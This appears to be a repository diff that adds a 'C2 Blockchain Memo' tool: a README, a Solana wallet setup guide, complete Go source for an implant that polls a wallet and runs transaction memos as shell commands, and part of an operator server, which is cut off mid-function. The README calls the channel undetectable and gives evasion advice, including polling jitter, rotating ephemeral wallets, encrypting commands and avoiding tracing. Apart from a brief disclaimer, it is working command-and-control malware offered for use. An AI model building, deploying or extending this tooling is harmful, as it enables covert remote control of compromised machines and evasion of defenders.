github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4=
github.com/rs/cors v1.7.0 h1:+88SsELBHx5r+hZ8TCkggzSstaWNbDvThkVK8H6f9ik=
github.com/rs/cors v1.7.0/go.mod h1:gFx+x8UowdsKA9AchylcLynDq+nNFfI8FkUZdN/jGCU=
github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/shirou/gopsutil v3.21.4-0.20210419000835-c7a38de76ee5+incompatible h1:Bn1aCHHRnjv4Bl16T8rcaFjYSrGrIZvpiGO6P3Q4GpU=
github.com/shirou/gopsutil v3.21.4-0.20210419000835-c7a38de76ee5+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA=
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
github.com/supranational/blst v0.3.13 h1:AYeSxdOMacwu7FBmpfloBz5pbFXDmJL33RuwnKtmTjk=
github.com/supranational/blst v0.3.13/go.mod h1:jZJtfjgudtNl4en1tzwPIV3KjUnQUvG3/j+w+fVonLw=
github.com/syndtr/goleveldb v1.0.1-0.20210819022825-2ae1ddf74ef7 h1:epCh84lMvA70Z7CTTCmYQn2CKbY8j86K7/FAIr141uY=
github.com/syndtr/goleveldb v1.0.1-0.20210819022825-2ae1ddf74ef7/go.mod h1:q4W45IWZaF22tdD+VEXcAWRA037jwmWEB5VWYORlTpc=
github.com/tklauser/go-sysconf v0.3.12 h1:0QaGUFOdQaIVdPgfITYzaTegZvdCjmYO52cSFAEVmqU=
github.com/tklauser/go-sysconf v0.3.12/go.mod h1:Ho14jnntGE1fpdOqQEEaiKRpvIavV0hSfmBq8nJbHYI=
github.com/tklauser/numcpus v0.6.1 h1:ng9scYS7az0Bk4OZLvrNXNSAO2Pxr1XXRAPyjhIx+Fk=
github.com/tklauser/numcpus v0.6.1/go.mod h1:1XfjsgE2zo8GVw7POkMbHENHzVg3GzmoZ9fESEdAacY=
github.com/urfave/cli/v2 v2.25.7 h1:VAzn5oq403l5pHjc4OhD54+XGO9cdKVL/7lDjF+iKUs=
github.com/urfave/cli/v2 v2.25.7/go.mod h1:8qnjx1vcq5s2/wpsqoZFndg2CE5tNFyrTvS6SinrnYQ=
github.com/xrash/smetrics v0.0.0-20201216005158-039620a65673 h1:bAn7/zixMGCfxrRTfdpNzjtPYqr8smhKouy9mxVdGPU=
github.com/xrash/smetrics v0.0.0-20201216005158-039620a65673/go.mod h1:N3UwUGtsrSj3ccvlPHLoLsHnpR27oXr4ZE984MbSER8=
golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=
golang.org/x/exp v0.0.0-20231110203233-9a3e6036ecaa h1:FRnLl4eNAQl8hwxVVC17teOw8kdjVDVAiFMtgUdTSRQ=
golang.org/x/exp v0.0.0-20231110203233-9a3e6036ecaa/go.mod h1:zk2irFbV9DP96SEBUUAy67IdHUaZuSnrz1n472HUCLE=
golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ=
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU=
golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg=
google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw=
gopkg.in/natefinch/lumberjack.v2 v2.2.1 h1:bBRl1b0OH9s/DuPhuXpNl+VtCaJXFZ5/uEFST95x9zc=
gopkg.in/natefinch/lumberjack.v2 v2.2.1/go.mod h1:YD8tP3GAjkrDg1eZH7EGmyESg/lsYskCTPBJVb9jqSc=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
rsc.io/tmplfunc v0.0.3 h1:53XFQh69AfOa8Tw0Jm7t+GV7KZhOi6jzsCzTtKbMvzU=
rsc.io/tmplfunc v0.0.3/go.mod h1:AG3sTPzElb1Io3Yg4voV9AGZJuleGAwaVRxL9M49PhA=
+293
View File
@@ -0,0 +1,293 @@
# 🕶️ C2 Blockchain Memo
**Command & Control via Solana Transaction Memo Fields**
No C2 server. No proxy. No domain. Just the blockchain.
Commands are embedded in Solana transaction memos using the [Memo Program](https://spl.solana.com/memo).
Every transaction is public on-chain — **undetectable as C2 traffic**. Blocking it would
require blocking all Solana RPC traffic, which would break the entire Solana ecosystem.
```
┌──────────┐ Solana Transaction ┌──────────┐
│ Operator ├──── (transfer + memo) ────→│ Implant │
│ (server) │ 1 lamport + command │ (client) │
└──────────┘ └────┬─────┘
Executes command
via os.exec()
```
---
## How It Works
### The Chain as C2 Channel
1. **Operator** sends a standard Solana transaction containing:
- A **1-lamport SOL transfer** to the implant's wallet (creates an on-chain link)
- A **Memo Program instruction** with the shell command as memo text
2. **Implant** polls the Solana RPC endpoint for `getSignaturesForAddress` on its own
wallet address, extracts the memo text from each incoming transaction, and executes
it as a shell command.
3. **No infrastructure.** The "server" is just building transactions. The "network" is
the Solana blockchain. There's no IP address, no domain, no certificate, no proxy to
block.
### Cost
- **Devnet/Testnet:** Free (faucet SOL, no real money)
- **Mainnet:** ~0.000005 SOL per command (~$0.001 at current prices)
---
## Build
```bash
# Clone or cd into the project
cd c2-suite/c2-blockchain-memo
# Build both binaries
go build -o bin/server ./cmd/server
go build -o bin/client ./cmd/client
# Binaries are in ./bin/
```
### Dependencies
- Go 1.24+
- `github.com/gagliardetto/solana-go` (Solana Go SDK)
Everything is handled by `go mod tidy`. No manual dependency management needed.
---
## Quick Start (Devnet, Free)
### 1. Set up wallets
See **[SETUP_WALLET.md](./SETUP_WALLET.md)** for detailed instructions. The TL;DR:
```bash
# Install Solana CLI
sh -c "$(curl -sSfL https://release.anza.xyz/stable)"
# Generate operator wallet
solana-keygen new --outfile operator.json
# Generate implant wallet
solana-keygen new --outfile implant.json
# Get free devnet SOL
solana config set --url devnet
solana airdrop 2
```
### 2. Start the implant
```bash
./bin/client --keypair implant.json --rpc devnet --interval 15
```
You'll see:
```
🔭 Watching address: 7q6MgewGQzr3JwjJ8m7TzLfhTQAQScoXCaxzeNy9btRz
🔗 RPC endpoint: https://api.devnet.solana.com
⏱ Poll interval: 15s (with ±50% jitter)
━━━ C2 Blockchain Memo — Implant ─━━
Listening for commands... Press Ctrl+C to stop.
```
### 3. Send a command (in another terminal)
```bash
./bin/server --keypair operator.json --rpc devnet
```
Then in the interactive shell:
```
send <IMPLANT_ADDRESS> whoami
Command sent!
Signature: 5KtPn...xyz
Explorer: https://solscan.io/tx/5KtPn...xyz?cluster=devnet
Command: "whoami"
Implant: 7q6MgewGQzr3JwjJ8m7TzLfhTQAQScoXCaxzeNy9btRz
```
The implant will receive the command within the next poll cycle:
```
New command from tx 5KtPn...xyz:
Command: whoami
Output:
root
```
---
## Usage Reference
### Server (Operator)
```
./bin/server [flags]
Flags:
--keypair string Path to operator keypair (Solana CLI JSON array or base58)
--rpc string RPC endpoint: mainnet-beta, devnet, testnet, or custom URL
(default: "devnet")
```
**Interactive commands:**
| Command | Description |
|---------|-------------|
| `send <ADDRESS> <cmd>` | Send a shell command to an implant |
| `balance` | Check operator wallet SOL balance |
| `quit` | Exit |
### Client (Implant)
```
./bin/client [flags]
Flags:
--address string Wallet address to watch (alternative to --keypair)
--keypair string Path to implant keypair (uses its public key as watch address)
--rpc string RPC endpoint (default: "devnet")
--interval int Polling interval in seconds (default: 15)
--limit int Max transactions to fetch per poll (default: 10)
```
**You must provide either `--address` or `--keypair`.**
The implant:
1. Polls the RPC endpoint for incoming transactions to its address
2. Extracts memo text from each transaction (using the `memo` field in
`getSignaturesForAddress` — built into Solana runtime)
3. Executes the memo text as a shell command
4. Tracks seen signatures to avoid re-execution
---
## Architecture Details
### How the Memo Field Works
Solana's Memo Program (`MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr`) allows any
transaction to include an arbitrary text message. The memo is:
- **Public** — anyone can read it on-chain
- **Permanent** — lives in the ledger forever
- **Cheap** — costs the same as any other instruction
- **Unblockable** — can't distinguish from legitimate Memo Program usage
### Transaction Structure
Each command transaction contains two instructions:
1. **System Program: Transfer** — sends 1 lamport from operator → implant
- Creates a detectable on-chain link to the implant's address
- The implant's `getSignaturesForAddress` picks this up
- 1 lamport is the smallest unit (0.000000001 SOL)
2. **Memo Program: Memo** — contains the command text
- The Solana runtime automatically includes the memo text in
`getSignaturesForAddress` response (`memo` field)
- No need to fetch the full transaction to read the command
### Why This is Undetectable as C2
- **No C2 infrastructure** — no domains, IPs, certificates, or hosting to discover
- **Blends with normal traffic** — millions of Solana transactions include memos daily
(DeFi notes, NFT metadata, DEX tags)
- **No pattern to detect** — polling an RPC endpoint looks like any other dApp or wallet
- **Cannot block without collateral damage** — blocking `api.mainnet-beta.solana.com`
would break the entire Solana ecosystem
### OpSec Notes
- **Memo is public plaintext.** Anyone can read commands on-chain via Solscan or any
block explorer. For sensitive commands, encrypt the memo payload (e.g., XOR with a
pre-shared key, or use a proper AEAD cipher). The implant would decrypt before executing.
- **Wallet fingerprinting.** An operator who always uses the same wallet creates a
detectable signature pattern. For operational security, use ephemeral operator wallets
funded from a central wallet.
- **Polling frequency.** Default 15s with jitter balances responsiveness and stealth.
Sub-second polling to a single RPC is detectable. Use multiple RPC endpoints for
higher-frequency polling.
- **Transaction volume.** If you send 10,000 commands from one wallet, that's a pattern.
Rotate operator wallets.
---
## Comparison: Solana vs Ethereum for Blockchain C2
| Feature | Solana (this project) | Ethereum |
|---------|----------------------|----------|
| Tx cost | ~$0.001 | ~$1$50 (gas) |
| Speed | ~400ms finality | ~12s block time |
| Memo built-in | Yes (Memo Program) | No (requires contract) |
| RPC rate limits | More permissive | Tighter |
| Faucet availability | Easy (devnet) | Easy (testnet) |
| Go SDK quality | Mature (solana-go) | Mature (go-ethereum) |
| Stealth | High (natural memo usage) | High (calldata) |
**Solana wins on cost and speed.** Ethereum contract storage costs are prohibitive
for a C2 channel. Solana transactions cost fractions of a cent.
---
## Encryption Example (AES-GCM)
For production use, encrypt commands before sending:
**Server-side (before sending):**
```go
// Pseudocode — use a proper key management scheme
plaintext := []byte(command)
ciphertext, _ := aesgcm.Seal(nil, nonce, plaintext, nil)
// Send base64(ciphertext + nonce) as the memo
```
**Client-side (after receiving):**
```go
ciphertext := base64.StdEncoding.DecodeString(memo)
plaintext, _ := aesgcm.Open(nil, ciphertext[:12], ciphertext[12:], nil)
executeCommand(string(plaintext))
```
The Solana chain is public. **Encrypt everything in production.**
---
## FAQ
**Q: Do I need crypto knowledge?**
A: No. Follow [SETUP_WALLET.md](./SETUP_WALLET.md). Devnet is free.
**Q: Can this be traced back to me?**
A: Your operator wallet on-chain activity is public. Use ephemeral wallets.
**Q: What if the RPC endpoint goes down?**
A: Use multiple RPC endpoints (QuickNode, Helius, public RPC pool). The implant
supports custom `--rpc` URLs.
**Q: Can I run this on mainnet with real SOL?**
A: Yes. Cost is ~$0.001 per command. But don't use it for illegal purposes.
**Q: How fast can commands be delivered?**
A: Solana confirms in ~400ms. Polling adds latency: default 15s with jitter. For faster
delivery, use --interval 2 (2s) with multiple RPC endpoints.
---
## DISCLAIMER
For authorized Security Testing or Educational Purposes only.
+264
View File
@@ -0,0 +1,264 @@
# SETUP_WALLET.md — Solana Wallet Setup for C2 Blockchain Memo
This guide walks you through EVERYTHING needed to get Solana wallets set up for the C2
blockchain memo system. **Zero crypto knowledge assumed.** No real money needed.
---
## Table of Contents
- [1. Install Solana CLI Tools](#1-install-solana-cli-tools)
- [2. Generate a Wallet (Keypair)](#2-generate-a-wallet-keypair)
- [3. Get Free Devnet SOL (Faucet)](#3-get-free-devnet-sol-faucet)
- [4. Check Your Balance](#4-check-your-balance)
- [5. Find Your Wallet Address](#5-find-your-wallet-address)
- [6. Generate a Wallet Without Solana CLI (Pure OpenSSL)](#6-generate-a-wallet-without-solana-cli-pure-openssl)
- [7. Wallet File Format Explained](#7-wallet-file-format-explained)
- [8. Security Notes](#8-security-notes)
---
## 1. Install Solana CLI Tools
The Solana CLI is needed for keypair generation and faucet access. It's one command:
```bash
sh -c "$(curl -sSfL https://release.anza.xyz/stable)"
```
This installs the `solana` command (maintained by Anza, the core Solana dev team).
**Verify installation:**
```bash
solana --version
```
Expected output: `solana-cli 2.x.x`
> **What about the old Solana Labs CLI?** The old `solana-cli` from Solana Labs is being
> replaced by the Anza distribution. Both work. The command above gets you the current
> standard one.
---
## 2. Generate a Wallet (Keypair)
A Solana wallet is just a **random 64-byte private key** + a **32-byte public key** derived
from it. The keypair file is what the server and client use to sign.
**Generate a keypair:**
```bash
solana-keygen new --outfile ~/.config/solota/operator.json
```
You'll be prompted for a passphrase. **You can just press Enter for no passphrase** (fine
for testing).
This creates a JSON file containing the raw bytes of your keypair as a JSON integer array:
```json
[12, 34, 56, 78, 91, ... 64 numbers total ...]
```
**Generate a second keypair for the implant (different wallet):**
```bash
solana-keygen new --outfile ~/.config/solota/implant.json
```
> **Protip:** Store both keypairs somewhere safe. The private key is the WHOLE file.
> Anyone with this file controls the wallet.
---
## 3. Get Free Devnet SOL (Faucet)
You need a tiny amount of SOL to pay transaction fees. On **devnet** (test network), it's
completely free.
### Method A: Solana CLI Airdrop (easiest)
```bash
# Switch to devnet
solana config set --url devnet
# Get 2 free SOL
solana airdrop 2
```
**If that fails** with "transaction unavailable" or similar (faucets rate-limit), try:
```bash
# Smaller amounts often work
solana airdrop 1
solana airdrop 1
solana airdrop 0.5
```
### Method B: Web Faucets
If the CLI faucet doesn't work, use a web faucet:
1. **Solana Devnet Faucet (official):**
- Open: <https://faucet.solana.com/>
- Select **Devnet**
- Paste your wallet address (see [§5](#5-find-your-wallet-address))
- Click "Confirm Airdrop"
2. **QuickNode Faucet (backup):**
- <https://faucet.quicknode.com/solana/devnet>
3. **Sol Faucet (backup):**
- <https://solfaucet.com/>
### How much SOL do you need?
- Each memo transaction costs ~**0.000005 SOL** (half a cent on mainnet, free on devnet)
- With 1 SOL you can send **200,000 commands**
- 2 SOL from a single airdrop is basically infinite for testing
### Devnet vs Mainnet Costs
| Network | Cost per memo tx | Source of SOL |
|---------|------------------|---------------|
| devnet | Free (faucet) | Free faucet |
| testnet | Free (faucet) | Free faucet |
| mainnet | ~0.000005 SOL (~$0.001) | Buy from exchange |
**For testing, use devnet. You don't need real money.**
---
## 4. Check Your Balance
```bash
solana balance --url devnet
```
Should show something like `2 SOL` after the airdrop.
---
## 5. Find Your Wallet Address
```bash
solana-keygen pubkey ~/.config/solota/operator.json
```
This prints the **base58 address** (starts with a number or letter, ~44 characters).
Example: `7q6MgewGQzr3JwjJ8m7TzLfhTQAQScoXCaxzeNy9btRz`
You can also get it from the keypair file directly:
```bash
cat ~/.config/solota/operator.json | solana-keygen pubkey
```
**This address is PUBLIC.** It's safe to share — it's how people send you SOL and how
the C2 implant identifies which transactions to watch.
---
## 6. Generate a Wallet Without Solana CLI (Pure OpenSSL)
If you can't or won't install the Solana CLI, you can generate a wallet using just OpenSSL
and base58 encoding. This requires the base58 tool (`pip install base58` or use Python).
```bash
# 1. Generate 32 random bytes (the private key seed)
openssl rand -hex 32 > private-key.hex
# 2. Convert to raw bytes
xxd -r -p private-key.hex > private-key.bin
# 3. Create the Solana keypair JSON file (64 bytes: seed + derived pubkey)
# We need a Python one-liner for the Ed25519 key derivation:
python3 -c "
import json
from hashlib import sha512
# Read the seed (32 bytes)
with open('private-key.hex') as f:
seed = bytes.fromhex(f.read().strip())
# Ed25519 key expansion (simplified — in production use ed25519 lib)
# For the Solana CLI format, we need the full 64-byte keypair.
# The simplest approach: just install solana CLI for keygen.
# OR use Python's ed25519:
import nacl.bindings as nb
seed_bytes = seed
pk = nb.crypto_sign_seed_keypair(seed_bytes)[0]
keypair = list(seed_bytes + pk)
with open('operator.json', 'w') as f:
json.dump(keypair, f)
print('operator.json created')
"
```
> **Honest advice:** Just install the Solana CLI. It's one command (`curl ... | sh`),
> it handles key derivation correctly, and the keypair file format is exactly what this
> C2 system expects. The OpenSSL method is shown here for understanding, not because
> it's easier.
---
## 7. Wallet File Format Explained
The Solana CLI creates keypair files in this format:
```json
[157,75,198,234,182,43,173,167,208,19,22,127,239,230,14,99,44,135,102,226,237,142,39,156,72,86,169,196,139,161,244,15,33,157,174,179,215,156,10,3,126,196,247,70,16,106,99,210,212,203,227,170,11,111,209,62,39,154,230,143,147,50,77,174]
```
- **Bytes 031** (first 32): The **private key seed** (keep secret!)
- **Bytes 3263** (last 32): The **public key** (derived from the seed)
Both the `--keypair` flag in the server and the `--keypair` flag in the client accept
this JSON array format AND the base58-encoded private key format.
---
## 8. Security Notes
- **The keypair file IS the private key.** Protect it like a password.
- **For production C2:** Use a dedicated wallet with only enough SOL for a few hundred
transactions. Top it up periodically.
- **For devnet testing:** Never use a mainnet wallet. Devnet SOL is free and infinite.
- **The chain is public.** Everyone can see the memo text. Don't send credentials or
secrets as commands (or encrypt them first — see README for encryption notes).
- **The implant wallet address is public** by design — anyone can send it transactions.
The C2 relies on the fact that only the operator knows which address is an implant.
---
## Quick Start (TL;DR)
```bash
# 1. Install Solana CLI
sh -c "$(curl -sSfL https://release.anza.xyz/stable)"
# 2. Generate operator wallet
solana-keygen new --outfile ~/.config/solota/operator.json
# 3. Generate implant wallet
solana-keygen new --outfile ~/.config/solota/implant.json
# 4. Get free devnet SOL
solana config set --url devnet
solana airdrop 2
# 5. Note the addresses
echo "Operator: $(solana-keygen pubkey ~/.config/solota/operator.json)"
echo "Implant: $(solana-keygen pubkey ~/.config/solota/implant.json)"
# 6. Start the implant (watches its own address)
./bin/client --keypair ~/.config/solota/implant.json --rpc devnet
# 7. In another terminal, send a command
./bin/server --keypair ~/.config/solota/operator.json --rpc devnet
> send <IMPLANT_ADDRESS> whoami
```
+266
View File
@@ -0,0 +1,266 @@
// cmd/client/main.go — C2 Blockchain Memo Implant
//
// Watches a Solana wallet address for incoming transactions and
// extracts any memo text (via the Memo Program). If the memo
// contains a shell command, it executes the command locally.
//
// The implant tracks which transactions it has already processed
// so it only executes each command once.
//
// Usage:
//
// # Watch a wallet (no keypair needed — read-only mode):
// go run ./cmd/client --address <WALLET_ADDRESS> --rpc devnet
//
// # Watch own wallet from keypair:
// go run ./cmd/client --keypair implant-keypair.json --rpc devnet
//
// # Watch with custom polling interval (default 15s, with ±50% jitter):
// go run ./cmd/client --address ... --interval 30
package main
import (
"context"
"encoding/json"
"flag"
"fmt"
"log"
"math/rand"
"os"
"os/exec"
"os/signal"
"strings"
"sync"
"syscall"
"time"
"github.com/gagliardetto/solana-go"
"github.com/gagliardetto/solana-go/rpc"
)
// seenTracks keeps track of processed transaction signatures so we
// never re-execute a command.
type seenTracker struct {
mu sync.Mutex
seen map[string]struct{}
}
func (st *seenTracker) Add(sig string) {
st.mu.Lock()
st.seen[sig] = struct{}{}
st.mu.Unlock()
}
func (st *seenTracker) Has(sig string) bool {
st.mu.Lock()
defer st.mu.Unlock()
_, ok := st.seen[sig]
return ok
}
func main() {
var (
addressStr = flag.String("address", "", "Implant wallet address to watch")
keypairPath = flag.String("keypair", "", "Path to implant keypair (uses its address)")
rpcEndpoint = flag.String("rpc", rpc.DevNet_RPC, "RPC endpoint: mainnet-beta, devnet, testnet, or custom URL")
intervalSec = flag.Int("interval", 15, "Polling interval in seconds")
limit = flag.Int("limit", 10, "Max transactions to fetch per poll")
)
flag.Parse()
endpoint := resolveEndpoint(*rpcEndpoint)
// ── Resolve the wallet address to watch ──────────────────────────
var watchAddress solana.PublicKey
if *addressStr != "" {
var err error
watchAddress, err = solana.PublicKeyFromBase58(*addressStr)
if err != nil {
log.Fatalf("Invalid --address %q: %v", *addressStr, err)
}
} else if *keypairPath != "" {
key, err := loadKeypair(*keypairPath)
if err != nil {
log.Fatalf("Failed to load keypair from %q: %v", *keypairPath, err)
}
watchAddress = key.PublicKey()
} else {
log.Fatal("Either --address or --keypair must be provided")
}
fmt.Printf("🔭 Watching address: %s\n", watchAddress.String())
fmt.Printf("🔗 RPC endpoint: %s\n", endpoint)
fmt.Printf("⏱ Poll interval: %ds (with ±50%% jitter)\n", *intervalSec)
fmt.Println()
client := rpc.New(endpoint)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
tracker := &seenTracker{seen: make(map[string]struct{})}
baseInterval := time.Duration(*intervalSec) * time.Second
// ── Signal handling for graceful shutdown ───────────────────────
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
fmt.Println("━━━ C2 Blockchain Memo — Implant ─━━")
fmt.Println("Listening for commands... Press Ctrl+C to stop.")
fmt.Println()
// ── Polling loop ─────────────────────────────────────────────────
poll := func() {
sigs, err := client.GetSignaturesForAddressWithOpts(
ctx,
watchAddress,
&rpc.GetSignaturesForAddressOpts{
Limit: &[]int{*limit}[0],
Commitment: rpc.CommitmentConfirmed,
},
)
if err != nil {
log.Printf("⚠️ Poll error: %v", err)
return
}
// Process newest first (they come newest-first from the RPC)
for _, ts := range sigs {
// Only process confirmed/finalized transactions
if ts.Err != nil {
continue
}
// Skip already-seen
sigStr := ts.Signature.String()
if tracker.Has(sigStr) {
continue
}
tracker.Add(sigStr)
// Check for memo via TxMemo field (populated by runtime for
// transactions that include a Memo Program instruction).
// This is faster than fetching the full transaction.
if ts.Memo == nil || *ts.Memo == "" {
// No memo attached to this transaction — skip.
// Optionally, we could fall back to fetching the full
// transaction and parsing instructions, but the Memo
// field is reliable for Memo Program transactions.
continue
}
command := *ts.Memo
fmt.Printf("📩 New command from tx %s:\n", sigStr)
fmt.Printf(" Command: %s\n", command)
executeCommand(command)
fmt.Println()
}
}
// Do an initial poll immediately
poll()
// ── Polling ticker with jitter ───────────────────────────────────
ticker := time.NewTicker(baseInterval)
defer ticker.Stop()
for {
select {
case <-ticker.C:
// Add jitter: ±50% of base interval, then poll
jitter := time.Duration(float64(baseInterval) * (rand.Float64() - 0.5))
time.Sleep(baseInterval + jitter)
poll()
// Schedule next tick
ticker.Reset(baseInterval)
case <-sigCh:
fmt.Println("\n👋 Shutting down...")
cancel()
return
}
}
}
// ── Command execution ───────────────────────────────────────────────
func executeCommand(command string) {
// Determine shell
shell, ok := os.LookupEnv("SHELL")
if !ok {
shell = "/bin/sh"
}
cmd := exec.Command(shell, "-c", command)
cmd.Stdin = os.Stdin
cmd.Stderr = os.Stderr
// Capture stdout
output, err := cmd.Output()
if err != nil {
log.Printf("❌ Command failed: %v", err)
if len(output) > 0 {
fmt.Printf(" Output (partial): %s\n", strings.TrimSpace(string(output)))
}
return
}
outStr := strings.TrimSpace(string(output))
if outStr != "" {
fmt.Printf("✅ Output:\n%s\n", outStr)
} else {
fmt.Println("✅ Command executed (no output)")
}
}
// ── Keypair loading (shared helper) ─────────────────────────────────
func loadKeypair(path string) (solana.PrivateKey, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, fmt.Errorf("read file: %w", err)
}
content := strings.TrimSpace(string(data))
// Base58-encoded private key string
if !strings.HasPrefix(content, "[") {
pk, err := solana.PrivateKeyFromBase58(content)
if err != nil {
return nil, fmt.Errorf("invalid base58 private key: %w", err)
}
return pk, nil
}
// Solana CLI format: JSON integer array [12, 34, 56, ...]
var byteArr []byte
if err := json.Unmarshal([]byte(content), &byteArr); err != nil {
return nil, fmt.Errorf("JSON decode of keypair: %w", err)
}
if len(byteArr) != 64 {
return nil, fmt.Errorf("expected 64 keypair bytes, got %d", len(byteArr))
}
return solana.PrivateKey(byteArr), nil
}
// ── Endpoint resolution ─────────────────────────────────────────────
func resolveEndpoint(name string) string {
switch strings.ToLower(name) {
case "mainnet", "mainnet-beta", "main":
return rpc.MainNetBeta_RPC
case "devnet", "dev":
return rpc.DevNet_RPC
case "testnet", "test":
return rpc.TestNet_RPC
default:
return name
}
}
func init() {
rand.New(rand.NewSource(time.Now().UnixNano()))
}
+261
View File
@@ -0,0 +1,261 @@
// cmd/server/main.go — C2 Blockchain Memo Server (Operator Tool)
//
// Sends commands to implants by embedding them in Solana transaction
// memo fields. Each command is sent as a 1-lamport SOL transfer + memo
// instruction to the implant's wallet address.
//
// Usage:
//
// # With a funded keypair (Solana CLI JSON-array format):
// go run ./cmd/server --keypair ~/.config/solana/id.json --rpc devnet
//
// # Generate a fresh ephemeral keypair (no SOL — for testing):
// go run ./cmd/server
//
// Interactive commands once running:
// send <IMPLANT_ADDRESS> <shell command>
// balance
// quit
package main
import (
"bufio"
"context"
"encoding/json"
"flag"
"fmt"
"log"
"os"
"strings"
"github.com/gagliardetto/solana-go"
"github.com/gagliardetto/solana-go/programs/memo"
"github.com/gagliardetto/solana-go/programs/system"
"github.com/gagliardetto/solana-go/rpc"
)
func main() {
var (
keypairPath = flag.String("keypair", "", "Path to operator keypair (Solana CLI JSON array)")
rpcEndpoint = flag.String("rpc", rpc.DevNet_RPC, "RPC endpoint: mainnet-beta, devnet, testnet, or custom URL")
)
flag.Parse()
// Resolve named endpoints
endpoint := resolveEndpoint(*rpcEndpoint)
// ── Load or generate operator wallet ──────────────────────────────
var operatorWallet solana.PrivateKey
var err error
if *keypairPath != "" {
operatorWallet, err = loadKeypair(*keypairPath)
if err != nil {
log.Fatalf("Failed to load keypair from %q: %v", *keypairPath, err)
}
fmt.Printf("✅ Loaded operator wallet from %s\n", *keypairPath)
} else {
operatorWallet, err = solana.NewRandomPrivateKey()
if err != nil {
log.Fatalf("Failed to generate keypair: %v", err)
}
fmt.Println("⚠️ Generated ephemeral operator wallet (no SOL — use --keypair)")
}
operatorPub := operatorWallet.PublicKey()
fmt.Printf("📍 Operator address: %s\n", operatorPub.String())
fmt.Printf("🔗 RPC endpoint: %s\n\n", endpoint)
client := rpc.New(endpoint)
ctx := context.Background()
// ── Interactive REPL ──────────────────────────────────────────────
scanner := bufio.NewScanner(os.Stdin)
fmt.Println("━━━ C2 Blockchain Memo — Operator ━━━")
fmt.Println("Commands:")
fmt.Println(" send <ADDRESS> <command> Send a shell command to an implant")
fmt.Println(" balance Check operator wallet SOL balance")
fmt.Println(" quit Exit")
fmt.Println()
for {
fmt.Print(" ")
if !scanner.Scan() {
break
}
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
parts := strings.SplitN(line, " ", 3)
switch parts[0] {
case "quit", "exit", "q":
fmt.Println("Bye.")
return
case "balance":
checkBalance(ctx, client, operatorPub)
case "send":
if len(parts) < 3 {
fmt.Println("Usage: send <IMPLANT_ADDRESS> <command>")
continue
}
sendCommand(ctx, client, operatorWallet, parts[1], parts[2], endpoint)
default:
fmt.Printf("Unknown command: %q (try: send, balance, quit)\n", parts[0])
}
}
}
// ── Core: send a command as a memo transaction ──────────────────────
func sendCommand(
ctx context.Context,
client *rpc.Client,
operator solana.PrivateKey,
implantAddrStr, command string,
endpoint string,
) {
implantPubkey, err := solana.PublicKeyFromBase58(implantAddrStr)
if err != nil {
log.Printf("❌ Invalid implant address %q: %v", implantAddrStr, err)
return
}
// 1. Get latest blockhash
recent, err := client.GetLatestBlockhash(ctx, rpc.CommitmentFinalized)
if err != nil {
